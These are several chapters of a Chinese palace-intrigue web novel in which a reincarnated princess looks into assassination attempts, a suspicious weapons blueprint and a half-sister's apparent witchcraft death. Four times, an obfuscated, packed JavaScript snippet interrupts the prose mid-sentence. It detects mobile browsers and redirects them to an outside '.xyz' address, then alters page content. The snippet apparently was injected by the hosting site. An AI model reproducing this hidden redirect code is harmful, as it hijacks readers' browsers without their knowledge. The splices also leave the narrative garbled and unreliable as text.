太子打圆场,说道:“怎么可能呢?你三皇姐不是说了吗?误会一场罢了,她不是故意的,正如昨日大皇姐一般,一切只是意外。时辰不早,还有许多政务需要孤处理,便不在此多陪了,荣阳,你随孤一起走。” 李暮歌很想揪住三公主问清楚,但太子是储君,他要带人走,除非皇帝开口,否则没人能拦住他。 于是只能开口,“恭送太子殿下。” 大公主在一旁沉默不语,没有一点儿恭送的意思,太子也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903216|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在乎大公主的不敬,甚至还出于弟弟的身份,冲大公主微微颔首,示意先行一步。 等两人离开,大公主才开口道:“今日多谢你,十四,若不是你,皇姐恐怕没法全身而退。” “大皇姐别这么说,其实我今日也没帮上什么忙,大皇姐手上有三皇姐的把柄,他们不可能真把大皇姐如何。” 大公主闻言自嘲似得笑了笑,“那把柄有什么用,不过是嘴上说说,没有实证。” 真要是有用,太子和荣阳哪儿还能从殿内全须全尾的离开。 “父皇不是说要查清楚吗?有父皇出手,事情终会有水落石出的那一日,西北军谎报军情,这可是大罪。” 大公主被李暮歌天真的话给逗笑了,昔年她也曾跟现在的李暮歌一样,天真的以为只要皇帝在,她就能得到一个真相,得到公平公正的对待。 等到最后遍体鳞伤时,她才知道,这世上最不能相信的便是男人的诺言,即便那是父亲对女儿的承诺。 “哈哈哈,谎报军情要先报上军情啊,那军情都没有送入长宁,正如荣阳所说,或许是半途被哪位好心的大人给拦下了,只要能找到一封西北军败了的战报,这事儿不就‘水落石出’了吗?” 大公主一边儿往外走,一边儿同身旁跟着的李暮歌说。 李暮歌震惊,还能这样! 她经过多次死亡,再加上现代时看过很多小说,多少有了些心机手段,但比起混迹朝堂多年的大公主太子等人,还是太嫩了。 她对官场的认知,不足真实情况的十分之一。 大公主见李暮歌震惊地瞪圆了眼睛,尽显少年人的天真无邪,心情好了许多,她生出几分教导之意,便说道:“谎报军情不是最大的罪名,西北军要去的军械,才是重中之重。” 李暮歌听到“军械”二字,心头一震,低下头去,她想起一件事。 其实她特意去了解过那支箭的事。 虽然从书里得知箭是证据,但看小说时,很多剧情细节都从大脑光滑的皮层出溜一下滑走了,必须去特意了解,才能将小说记忆稳固住。 她记得,一开始她问了白芍,白芍当时怎么说来着? 记忆中的白芍一脸为难地说道:“殿下,娘娘不让殿下碰这些奇淫巧技。殿下莫不是忘了,前几日殿下命奴去工部要了一份军械的制造图,还动手改装了一把弩,娘娘得知此事,把弩都摔了,还说要是再出岔子,定要狠狠罚奴婢,奴婢真不敢再去工部打扰了,殿下要是无聊,不如多看看书?” 原身对制造军械很感兴趣,甚至还亲自动手改装过,这事儿被良嫔知道,良嫔大怒,喝令原身不许发展这项“兴趣爱好”。 李暮歌本觉得此事只是一个小小的人设背景,当时知道的时候,还庆幸良嫔不让原身继续干了。 她本人对军械武器研究不深,没法维持动手达人的人设。 现在回想起来,李暮歌觉得自己好像摸到了一点儿线索。 22.第 22 章 已知条件是,西北军的军械出了很大的问题,以至于不得不将一批有瑕疵的武器要走,来填窟窿。 原身对武器制作很感兴趣,在之前还曾表现出对那批瑕疵武器的兴趣。 还有一点就是,荣阳深知西北军的地雷埋在哪儿,她绝对不会允许西北军被人抓住致命的把柄。 这些条件摆在面前,李暮歌可以得出一个答案,一个荣阳之所以会对她起杀心,派人来刺杀她的答案。 三公主和十公主与十一皇子不同,十和十一是在学校里霸凌原身,导致原身性格懦弱,连学都不敢上,他们的恶摆在明面上,没有具体的原由,就是两个天生的恶人。 与这种恶人斗,费不了太多力气,李暮歌甚至不用多动脑筋,就能将恶人踩下去。 荣阳则是隐藏起来的恶,她的恶有原由,却太难寻找原因,一直到如今,李暮歌才摸到真正的原由。 “看来,我知道了一些让三皇姐很在意的事情,在意到,她哪怕不确定我究竟清不清楚,也一定要先要了我的命。” 李暮歌想,那个秘密定然是和军械有关,如果想要查清楚,必须去一趟工部。 大公主没想到李暮歌现在还在纠结荣阳为什么杀她这件事,大公主见李暮歌分析时一脸认真,心下了然,她已经习惯了荣阳对她的不怀好意,因此荣阳做什么,都不会引起她的好奇。 但是十四与她不同,十四以前就是个默默无闻的小公主,以荣阳高傲的性子,她根本不会注意到十四这个小公主,十四当然会对荣阳突如其来的杀意好奇。 “那你可知道一些有关军械的事?”大公主认为李暮歌能开口说,肯定是有了线索。 李暮歌摇摇头,“不知道,大皇姐,我什么都不知道啊。” 李暮歌说的句句是真话,从睁开眼到现在,她其实一直是游离在剧情外的幽魂,不管是书里,还是这场夺嫡大战中,她都是不起眼的尘埃。 所以她能知道什么?她什么都不知道。 大公主叹口气,说不出是遗憾还是不出所料,她跟着李暮歌去往春和宫,准备补个觉,顺便跟良嫔商量一下李暮歌未来的封号。 李暮歌在皇帝面前说过的话,大公主得一一办到。 另一头,荣阳跟着太子到了东宫,东宫门前,五皇子魏王早已等候多时。 太子率先入内,荣阳看了眼一脸焦急的魏王,别过眼没说话,跟着一起进去了。 魏王欲言又止,看上去正直不阿的国字脸上,满是为难之色,他像个跟屁虫一样跟在荣阳身后,三人入内直奔东宫的书房,书房门口,太子妃已然得了消息,侯着太子了。 太子妃向太子行了一礼,“殿下回来了。” 太子伸手扶起太子妃,随后也没松手,拉着太子妃进了书房,还不忘回头说一句,“你们也进来。” 书房不是谁都能进的地方,这地方放着不少秘密,不适合外人瞧见。 能让荣阳与魏王入内,体现了太子对姐弟的信任与不设防,荣阳和魏王理应感恩戴德,□□阳一脸不满,魏王则对当下局面没有丝毫头绪,两人都没感受到这份重视。 太子妃眸色微暗,敛去眼底的不屑,她吩咐宫人上茶点,又吩咐护卫在外守着,谁都不许进来。 等书房之中只剩下他们四个,荣阳开口了。 “西北军的事情怎么会让老大知道的?太子妃,杨家就是如此处理此事的吗?你知不知道,刚刚在紫薇殿里,父皇问西北军的败仗是怎么回事的时候,本殿下都要被吓出冷汗了!” 不是都要,是已经吓出冷汗了,荣阳想起刚刚的惊险,腿都有点儿发软。 太子妃没想到是此事暴露,她为难地看向太子,太子地给她一个安抚的眼神。 然后太子开口道:“荣阳,太子妃是你嫂嫂,莫要失礼。” “哼,此事要不是看在嫂嫂面子上,表兄他们早就一刀劈了那杨家的纨绔了!这个小畜生,到了战场上还不老实,差点儿葬送西北军百年威名,如果他不姓杨,便是将他千刀万剐也不为过!” 荣阳可不吃太子这一套,什么嫂嫂不嫂嫂的,亲姐姐她都敬不了一点儿,一个太子妃有什么好敬着的,对着太子她都没客气过。 太子和太子妃闻之,脸色都不太好看,太子妃没忍住,回了一句,“谁家没有几个没出息的子侄,凌家也不是人人都是常胜将军,再说了,此次若不是家弟,西北军的窟窿还不知道该怎么补,借着一场仗,平了一次账,你若真忍不下去这口气,不如将真正的账本呈给父皇,或许还能得个大义灭亲的好名声。” “你!”荣阳一拍桌子,一副想要动手揍人的样子。 旁边的魏王被吓得一激灵,赶紧上前拦住荣阳,“三姐!三姐息怒!太子妃说得也有几分道理,此事咱们家也不是一点儿好处没有,大家不要吵,和气生财和气生财。” 荣阳顺着弟弟的力气坐了回去,翻了个白眼不再说话,太子妃也收了面上怒容,坐在太子身边,轻声道:“五弟是个明白人,这事儿确实是本宫父亲处理不当,回去本宫会同父亲说一声,务必扫尾扫干净,让端华公主查不出什么。” 荣阳沉着脸,她懒得跟世家之流的太子妃说话,只对太子说道:“不光要让老大查不出来,还得让十四闭嘴。” 太子点点头,“你已经打草惊蛇,之后不要再派人了,前几日孤派人去了春和宫一趟,无奈那人去了就没了声响,估计被抓了,良嫔身边还是有几个得用的奴仆。” “当真会咬人的狗不叫,良嫔在宫中安安分分这么多年,连带着宁家都装成手无缚鸡的可怜样,谁知他们的手都伸到宫里来了。” 算上她安排的刺客,十四已经被刺杀了两次,她竟然一直等到今天才开口,荣阳第一次正眼看了看十四这个没有存在感的妹妹。 回想对方在紫薇殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909603|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表现,荣阳有些烦躁,难道之后就不管了吗? 太子见荣阳沉默,就知道荣阳还在想怎么铲除掉威胁,开口继续劝道:“十四跟老大走得近,如果她知道什么,肯定会告诉老大,但是老大在紫薇殿里只提了一句西北军败仗的事,没说其他,所以十四可能什么都不知道,之前军械图的事情,是你多虑了。” 荣阳眉头微松,可她还是不放心,“宁可错杀不能放过,十四毕竟亲眼看到了,她当时没想明白,过后明白过来怎么办?” “不怎么办,军械图已经被焚毁,她靠什么说服父皇,靠一张嘴吗?现在老大力保她,如果她死了,老大一定会查到咱们身上,何苦为了一个猜想招惹老大呢?荣阳,孤是太子,未来的天子,老大对孤的位置虎视眈眈,她是孤最大的敌人,其他人都不重要。” 荣阳的眉头随着太子的话,逐渐舒展开,最后甚至嘴角微勾,扬起几分笑意。 “二皇兄说得是,将来天下都是二皇兄的,老大她再怎么折腾,也没法抢了二皇兄的位置,咱们已经占尽了优势,以不变应万变,该着急的是她端华公主,不是咱们。” 太子颇为欣慰地点点头,此前十四没有靠山,荣阳想杀就杀,现在十四有了靠山,他们必须得谨慎一点儿。 大公主是一匹狼,她认定的猎物,必定会狠狠咬上去,不会轻易松口,太子实在不想跟大公主正面对上,他已经是太子了,只需保住太子之位就能赢得最后的胜利,何必瞎折腾呢? “说起来,老大的游隼到底是谁动手杀得?哪位过路神仙帮了咱们一把?” 太子摇摇头,这事儿他还真不清楚,“老大估计会将罪名扣在咱们头上。” “扣就扣,要不是老大防得紧,那鸟儿早死在长宁城外了,还能让她在万寿宴上出风头!不过现在,风头差点儿变成牢狱之灾,真是可笑!” 荣阳说了几句冷嘲热讽的话,后来她又跟太子谈了谈其他事,没留下吃午膳,她带着魏王回贵妃宫里了。 午后,大公主补觉睡醒了。 李暮歌给了大公主一张图,一张军械制造图。 从紫薇殿回来后,李暮歌就觉得原身的爱好里一定藏着个秘密,她找到养伤的白芍,问白芍,自己研究军械时的图纸笔记之类的东西放哪儿了。 重生这么多次,李暮歌从来没有看见过原身研究武器的痕迹,原身不去上学,天天在宫里缩着,不可能什么都没留下,所以东西应该是被毁了,或者藏起来了。 白芍不知道东西放哪儿,但白芍说出个地方。 正是上次翠玉连夜审问刺客的那间偏僻的屋子。 李暮歌之前以为是春和宫太大,原身一个人住着,难免有几间房空着,比较偏僻。 没想到那一间房是原身特意收拾出来的“实验室”,所以才远离人烟,地理位置优越! 从那间屋子里,李暮歌找到了这张军械制造图。 23.第 23 章 “这图看上去也没什么问题啊。” 大公主拿着图上下左右仔仔细细地看了不止一遍,发觉上头画着的图就是普通的武器。 李暮歌沉默,如果原身还在,或许能够为大公主解答,到底是怎么回事。 但原身已经死了,她甚至没有留下一点儿记忆给李暮歌,李暮歌什么都不知道。 她只能从原身保存了这张图的行为看出,这张图一定有问题。 “皇姐想拓印一份带走,可以吗?” 李暮歌点点头,“大皇姐将它直接带走也没事,现在看来,此物于我而言,乃是祸事一桩,很可能会丢了小命的大祸啊。” “放心吧十四,如果荣阳真的仅仅因为一张图,就想要你的命,我绝不轻饶她!” 大公主和太子争斗多年,却从未想过要太子和荣阳的命,好歹她们都姓李,身上留着李家血脉,政治斗争归政治斗争,远没有到要人命的地步。 □□阳和太子显然不这么想。 “多谢大皇姐,如果不是大皇姐相助,十四这条命很可能早就没了。” 李暮歌能看出来,因为大公主站在她身后,所以荣阳有点儿畏手畏脚,不敢像之前那样嚣张,直接对她动手了。 这一次,是她扯了大公主的大旗,算是狐假虎威了,大公主做了她的靠山。 “唉,你才十五,还是个孩子呢。”大公主很是感慨,她十五的时候,其实还带着对未来的憧憬与对父皇弟弟妹妹们的期待,至少那个时候,她还没有直面这世道的残酷。 而李暮歌却被迫死里逃生多次。 李暮歌笑而不语,政治斗争一旦开始,谁管你是孩子还是大人,你赢不了,就会输! 输了,就代表着你将自己的命交到了别人手上,是死是活,都是旁人说了算。 “父皇此次有意补偿你,会提前送你封号,礼部可曾为你拟定过封号?可有喜欢的?” 礼部还没有给李暮歌拟定封号,因为李暮歌不曾订婚,成亲的日子更是遥遥无期,礼部之前就想着不着急,没想到现在皇帝突然要给李暮歌封号。 真是打了个措手不及。 好在这样一来,李暮歌的选择多了起来,她可以选一个自己最喜欢的封号。 公主的封号一般分为两类,一类是地名,古时公主封号所在之地,会成为公主的食邑,类似封地一般,只是没有实权。 到了大庄,食邑和封地都已成为历史旧闻,皇权高度集中,不会下封。 从这一点看,大庄不应该被称为封建社会,都没有分封制度,算什么封建,要李暮歌看,其实大庄更像是封建社会和资本社会双重制度的叠合,君权掌控农业资本。 因为地名封号已经没了代表性的食邑,所以大庄出现了第二类公主封号,那就是以寓意美好的字来作为公主封号。 比如大公主的端华二字,一字取自《荀子·成相》中的“水至平,端不倾”,一字取自《道德经》中的“处其实,不居其华”。 都是对大公主未来品行的殷切期盼。 大庄的公主大多是以第二类封号居多,荣阳也是第二类封号,《尔雅·释草》言“木谓之华,草谓之荣”,坊间一直传闻,三公主的封号是有意与大公主一较高下。 具体如何,李暮歌不清楚。 “礼部尚未拟封,我想取长安二字。” 李暮歌希望自己能长长久久、安安稳稳的活着,这是她对自己最真切的期盼。 长宁这个称号肯定不能用,大庄国都就叫长宁,李暮歌敢取,也没人敢叫,拿国都当封号,太子都不敢这么干。 “长安,这个封号好,回头写个折子递上去,你亲自写,叫父皇定下便是。” 大公主念叨了两句这个封号,觉得再好不过,好听还顺口。 “对了,忘记同你母妃说一声了。”大公主突然想起来,隔壁就住着良嫔,她们俩竟自顾自聊起来,完全忘了知会良嫔。 李暮歌都能想到良嫔现在得知了紫薇殿内的事情会有多生气,还是别凑过去,让良嫔更生气了。 “没事,我回头与母妃说一声便好,今日多谢大皇姐了,大皇姐不如在春和宫用晚膳?” 原来不知不觉间,外面的天已经黑了。 大公主摇摇头,“昨日在宫中一夜,今日该回大公主府了,省得府中人担心。” 听到大公主提府中人,李暮歌这才想起来那位存在感极低的大驸马。 原本大驸马是跟大公主一起在紫薇殿里受训,后来皇帝让朝臣们都走时,大驸马竟跟着一起走了。 他到底算是皇家中人,还是朝臣啊?怎么一会儿出现一会儿消失的。 书中曾明确写到,大公主与大驸马感情不和,要不是还有一位郡主,恐怕两人早就和离了。 李暮歌没多问,人家夫妻间的问题,外人插什么嘴。 大公主趁着天色还未彻底暗下来,赶在宫门落匙前离开了皇宫。 随着大公主离开,皇宫好像一下子安静了下来,李暮歌回到春和宫,抬头的瞬间,看见了空中那一轮明月。 “十五了?” 李暮歌问道,她身后的白术回道:“回殿下话,今日已经十六了。” 哦对,万寿宴是四月十五。 “十五的月亮十六圆,古人诚不欺我,这月亮可真圆啊!” 古人面对明月,能出口成章,随手写下流传千载的文章,不会作诗的也能吟上两句,李暮歌没那个文化底子,她只会说,月亮可真圆。 她来到这个世界后,第一次看见这么圆的月亮。 李暮歌在这儿感叹月亮的美丽,同一轮明月下,有人筹划着阴谋诡计,有人为天下黎民案牍劳形,还有人,在发疯。 “啊!!你不要过来,你不要过来!不是我杀的你啊,你放了我吧,十一,求求你了,你放过我吧……” “我的儿,你究竟是怎么了,母妃只剩下你一个孩子,你不要吓母妃啊!” 淑妃的华景宫偏殿之中,一片狼藉,地上已经没有一处能落脚的地方,全都是各种花瓶的碎片,被撕碎的书画,倒下后因为碍事而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914063|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被踹到一边的桌椅。 还有被人暴力拽下来的帘幔,软趴趴落在地上,团成一团。 淑妃一身华服,脸上未施粉黛,头发只简单的挽了起来,她满是悲伤地望着眼前的女儿,眼底一层青黑。 而她面前,则是几日便瘦了两圈,疯疯癫癫形容枯槁的十公主,此刻哪里还能从她身上,看出有一丝公主的风采? 嘴唇干裂,因为大喊大叫的次数多了,十公主的唇角已经微微裂开,鲜红的血珠不断顺着嘴角落到她的衣襟上,双目发直,不时盯着一个角落神经兮兮地笑,然后又像是看见了什么可怕的东西,瞪圆眼睛疯狂怒吼,打砸身边的一切。 她赤着足,脚上裹了一层白布,脚底一片血红。 刚刚发过疯的她,现在重新回归了安静,她蹲下身,手环保住自己,将手指塞到嘴里,一边咬一边嘴里不住念念有词。 淑妃见此情形,几乎要晕过去了。 “还不快叫太医过来!楼太医呢!叫楼太医过来!” 淑妃冲后面躲起来的宫女们喊着,宫女们身体一抖,其中一个年岁大一些的宫女硬着头皮站了出来。 “回淑妃娘娘话,门口、门口有禁卫守着,说是奉紫薇殿的命令,这几日,除了皇后娘娘外,其余宫中不许请太医……” 这完全就是针对十公主,宫里其他人身体都不错,哪怕是有点儿小毛病,请医女上门便好,没严重到要请太医的程度,只有十公主,她的疯病越来越厉害,根本离不开太医。 淑妃眼眶一热,热泪滚滚而下,怆然喊道:“陛下!陛下啊,你好狠的心啊!陛下!” 像是有人在活生生剜她的心,淑妃痛不欲生,她踉跄上前,不顾危险地抱住了自己的女儿,哭诉道:“小十,你快好起来吧,不要再疯下去了,不然、不然母妃……” 她恐怕要同时失去两个孩子了。 淑妃想,自己已经不年轻了,如果没了孩子,家族还会继续支持自己吗? 哪怕位列四妃之一,没了孩子,也就没了未来,淑妃几乎能想象到凄惨的未来。 她因此哭得更大声,那哭声像是惊醒了怀中的十公主,十公主的眼神恢复了一瞬的清明,她虚弱地喃喃一句:“母妃……” “小十!小十你认出母妃了?小十,不要怕,母妃一定能将太医请来为你治病,你不要怕!” 淑妃大喜过望,恨不得立刻跑出去请太医,只要她亲自去请,陛下也不能强行压住她! “母妃,儿不孝,儿真的撑不住了,有虫子、虫子在儿脑子里,它日夜不停地啃食着,儿要死了……” 十公主说着,嘴里突然涌出大股大股的血,淑妃被吓傻了,远处的宫人更是被吓得惊叫连连。 十公主的气息逐渐微弱,她最后用手指在地上写了个字。 可那个字扭曲变形,根本没法认出来。 “是谁,究竟是谁!”淑妃焦急地问着,十公主最后留恋地看了她一眼,下一刻,气息彻底断绝。 她瞳孔扩散,如鸟兽垂颈,年少早夭,死不瞑目。 24.第 24 章 晨光未至,梧桐殿的琉璃瓦上凝了一层露水,昨夜气温骤降,夜里还下了一场小雨,今早起来,又湿又寒。 李暮歌睁开眼时,感受到了一股暖意,原来是昨夜白术然了一盆炭火,为她取暖。 “什么时辰了?” 李暮歌问喊她起来的白术,白术答了一声,“回殿下,大约是寅时末。” “寅时末,才五点啊,我怎么醒得这么早?” 大概是刚醒,脑子不太清醒,李暮歌喃喃着,弄不明白眼下发生了什么事。 “殿下,您睡前不是吩咐奴婢等,要盯着华景宫的人吗?前头传来消息称,华景宫有异动,奴婢这才喊您起来。” 白术为李暮歌穿衣,李暮歌的眼神逐渐清明起来,她想起来了,“是谁去的华景宫?” “回殿下,是茯苓,茯苓已经在外面等着了。” 茯苓进来时,手上还提着灯笼,灯笼的光照着她的身影朦朦胧胧,黑色的影子在地上随着烛火跳动不停。 茯苓进屋后,双膝一软,跪地颤着声道:“殿下,十殿下她、她昨晚上殁了。” 华景宫接连死了两位皇嗣,全宫都因此而惴惴不安,加之前日皇帝才刚过了一个不太高兴的万寿宴,知晓十公主情况的人,全都讳莫如深,不敢提及。 生怕此事牵连到自己。 十一皇子是因李暮歌而死,李暮歌从一开始就被卷入了这场死亡之中,她避无可避,这才能光明正大派人前去监视华景宫。 李暮歌手指轻轻沾了沾杯中隔夜的茶水,在桌子上勾画着什么,在她的沉默里,雕花窗棂透出一缕青灰色天光。 等李暮歌画完图,抬头见茯苓还跪在地上,轻声道:“起来吧,淑妃娘娘丧子又丧女,真是可怜,对了,白术你昨夜去司礼监拿炭火,可曾听说华景宫的人过去?” 白术果断摇头,“奴当时一心想着快些回宫为殿下点炭,没多问,但当时奴并未看见华景宫的人。” “昨夜那么冷,各宫因着过了冬,都没有存炭,司礼监忙得很,恐怕一时之间顾不上淑妃娘娘那边,咱们还剩多少银丝炭?” 白术刚要回答,就听李暮歌说:“都送过去吧,翠玉,你去梧桐殿一趟,同母妃说一下华景宫的事,本殿下要去为十皇姐吊唁。” 淑妃现在最不想见到的人,估计就是李暮歌了,结果李暮歌要去为十公主吊唁。 李暮歌到华景宫之前,在脑海中设想着淑妃见到她后的反应,是直接派人将她撵走,还是无视她,权当什么都没看见? 亦或者是恶语相向,恨不得从她身上扒下一层皮,为十公主祭奠? 各种反应都有,唯独没有淑妃无视她这一反应。 李暮歌到的时候,淑妃就好似人偶一般,呆立在殿内,看着跟前的两具棺材,什么反应都没有。 比起上次十一皇子的葬礼,这次十公主的葬礼要简朴很多。 不是淑妃不想大办,只是因为众人都觉得晦气,尤其是有孩子的妃嫔,大多派人送来了丧仪,人则绝对不会踏足华景宫半步。 华景宫此刻在她们眼中,像是遭了诅咒的不祥之地,谁都不想来。 “十皇兄还没下葬啊。” 淑妃不想搭理李暮歌,李暮歌却主动开口了,她前几天来华景宫的时候,觉得十皇子的葬礼实在是有些浪费,现在两具棺材摆在前面,她才觉得物尽其用,舒服了很多。 见棺发财,李暮歌觉得自己要发财了。 李暮歌站着,看火盆里的纸钱燃尽成灰,檐角悬着的白绸被风吹得猎猎作响,淑妃素衣未饰珠翠,苍白的脸在阴影中泛出青灰色。 屋中宫人捧着长明灯,跪坐在侧,脸色比那纸人还要白。 “快了,过两日一起下葬。” 淑妃开口,她的声音出奇的平静。 李暮歌发现淑妃手里好像握着什么东西,仔细一看,是一大一小两枚玉婵,玉蝉边缘圆润,小巧可爱。 “小十和十一,从小性子就像,连抓阄的时候,都选了一样的东西,姐姐拿了大的,弟弟拿了小的,现在躺在棺材里,姐姐躺大的,弟弟躺小的。” 淑妃喃喃自语,垂下的眼睫被泪水打湿,晶莹的泪珠打在玉蝉上,碎了一地。 “娘娘节哀。”李暮歌对此没有任何反应,她觉得自己此刻特别像是网游里的NPC,又或者是观看NPC过剧情时的玩家。 母亲与孩子之间的感情很动人,但跟李暮歌没有关系,这份感情再动人也不属于李暮歌,而是属于害了原身的两个恶人。 想想死得悄无声息的原身,再看眼前的淑妃,李暮歌只觉不耐,很想跳过这一段剧情,进入主题。 “我带了些银丝炭送来,这几日倒春寒,娘娘要注意身体,莫要冻着了,您如果倒下,十皇姐和十一皇兄的事情,就没人操持了。” 李暮歌说罢,躬身行了一礼告退,她想去十公主的房间看一看,再问问经手的太医,十公主究竟是怎么死的。 她到现在也不能确定那香里的毒究竟是什么,又是谁下的,从锦绣身上可以大概率锁定六公主,可没有证据,也就没有真相。 李暮歌需要找到证据,今日是打探消息最好的时机。 看李暮歌要走,淑妃眼底闪过一丝决绝,她厉声道:“站住!” 李暮歌驻足回望,像是不解淑妃要干什么。 淑妃快步走上前,到李暮歌身前,周围的宫人呼吸一滞,尤其是春和宫的宫人,恨不得上前将淑妃推开。 同时失去两个孩子,宫人们都担心淑妃会发疯,伤害到李暮歌。 李暮歌却没有这种担心,因为她从淑妃眼底看见了很复杂的情绪,那些情绪里,唯独没有要动手的狠厉。 “淑妃娘娘?” “昨夜,小十咽气之前,吐了半碗黑血,她一直在哭,哭着说,母妃儿好疼,有虫子在啃食儿的头,好疼……” 淑妃学十公主的呢喃,学得惟妙惟肖,好像躺在棺材里的十公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14927018|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就站在她身边,在她耳边不停重复这句话。 宫人们被吓得大气不敢喘,李暮歌则面不改色,她不惧怕鬼神,如果这世上真有鬼神,她死了那么多次,怨气深重,第一个成为厉鬼的人就是她。 不存在的东西,自然不用害怕。 李暮歌打断淑妃没完没了的呢喃,“娘娘,十皇姐可能是烧糊涂了,这样说来,十皇姐现在已经摆脱了折磨人的疼痛,也算是享福去了。” 淑妃像是没听见李暮歌的话,继续说:“我知道她是怎么了,我知道,她中了巫蛊之术……” 淑妃话还没说完,站在春和宫宫人之中的翠玉连忙出面,义正言辞地说道:“请娘娘慎言!皇宫有真龙坐镇,怎会有宵小鬼祟作恶!还不赶紧将你们娘娘扶下去休息!” 华景宫的宫人被吓得满头大汗,此刻也顾不上其他,下意识听从翠玉的吩咐,架着淑妃离开了,淑妃双目发直,没有丝毫反抗,任由宫人带她走。 看着淑妃的身影消失,李暮歌最后看了一眼那相邻的两个牌位,转身离去。 她没有再去十公主的寝殿,因为她得到了想要的线索。 “翠玉,刚刚淑妃说的巫蛊之术是什么?” 走出华景宫,李暮歌才开口问翠玉,翠玉看了一眼跟在身后的白术等人,白术识趣地低头行了一礼,带着其他宫人停住,等同李暮歌两人拉开一定的距离,才继续走。 翠玉将声音压得极低,“回殿下的话,那是宫里不能提及的禁忌,齐时后宫巫蛊之术盛行,齐哀帝的太子就是因为巫蛊之害而亡,连带着母族上百人被齐哀帝斩于闹市,牵扯进巫蛊之害中的官员与百姓更是不计其数,彼时血流成河,人心惶惶,最后齐朝大乱覆灭,太|祖才得了江山,因此到了本朝,前朝后宫都不可再提巫蛊二字。” “都两百年了,还能与前朝有关系?”李暮歌震惊,这算是开历史的倒车不? “奴婢不知,殿下千万不要插手此事,依奴婢看,淑妃娘娘已经近乎癫狂了。” 翠玉摇摇头,在宫里最重要的就是明哲保身,不关她们的事,绝对不要管。 李暮歌也不想管,但此事与她关系甚大,她不能不管。 “朝廷打压两百年,竟还有人用此术害人,定是找到了传承。翠玉,此事不是本殿下想不插手就能不插手的,十皇姐是公主,本殿下也是公主,卧榻之处怎容他人酣睡,万一下一个是本殿下,要如何应对?” 翠玉表情微变,谨慎的人大多伴随着想得多的特性,不用李暮歌细说,翠玉也能想到其中风险。 “要是能找到懂行的能人就好了,以彼之矛攻彼之盾,最为稳妥。”李暮歌不着痕迹的将话题引到了找人上,“翠玉,你既然知道前朝之事,是不是也听说过些许传闻?” 翠玉纠结一瞬,后顶着李暮歌期待的眼神点了点头,“蛊术起源南疆,咱家老爷曾有一位学生,于南疆任通译官一职。” 李暮歌的外祖就是翠玉口中的“老爷”。 25.第 25 章 如果顺着这条下毒的线深挖下去,必然要接触宁家,从宁家得到更多消息。 而宁家早就已经彻底投向六公主,在朝堂上,宁家是坚定的六公主党,一向唯六公主命是从,李暮歌不能明目张胆从宁家拿相对应的资料。 那样一定会打草惊蛇。 想要避开六公主从宁家查东西,倒也不是毫无办法,很快李暮歌就要去国子监读书,国子监祭酒正是李暮歌外祖——宁疏白。 从国子监中,李暮歌应该能够拿到一部分线索。 第二天,李暮歌出宫了,既然她要去国子监读书,自然要先接触一下国子监里的未来同窗,知晓国子监的模样。 前一日,李暮歌已经往颜家送了帖子,今日和颜士玉约好还在文绮楼见面。 颜士玉自从那日亲眼看见李暮歌在水里弄死十皇子后,就打算从太学转到国子监读书了,万寿宴后,她便正式在国子监上学。 见到颜士玉后,李暮歌直接交给她两个任务,一个任务是帮她写折子,她要递给皇帝,请皇帝给她“长安公主”的封号。 第二件事,是问颜士玉,宁疏白是个什么样的人。 这两个任务,前者对颜士玉来说很简单,后者让颜士玉犯了难。 “殿下,在下到国子监不过两三日,除了刚入学时有幸与宁祭酒见一面外,后面就再无机会照面了。” 颜士玉很想问李暮歌到底在想什么,宁疏白是李暮歌的亲外祖,李暮歌不知道宁疏白是个什么人? 难不成这份血缘关系是假的啊。 颜士玉其实能理解为何李暮歌会和宁疏白关系疏离,宁疏白清流之臣,从来不喜阿谀奉承之事,可他不是一个人,他身后还有一大家子人。 清流之辈不该有家有室,可真无家族支持之人,又怎么可能有机会走入朝堂,成为清流之臣。 颜士玉想到这儿,眸色微暗,她想到了自己,想到了自己的姐姐。 李暮歌见颜士玉真没法帮第二个忙,只能寄希望于自身了,她为颜士玉铺纸磨墨,说道:“那就写折子吧,写完之后,你带我在文绮楼逛一逛,上次来去匆匆,我都没机会到处看看。” 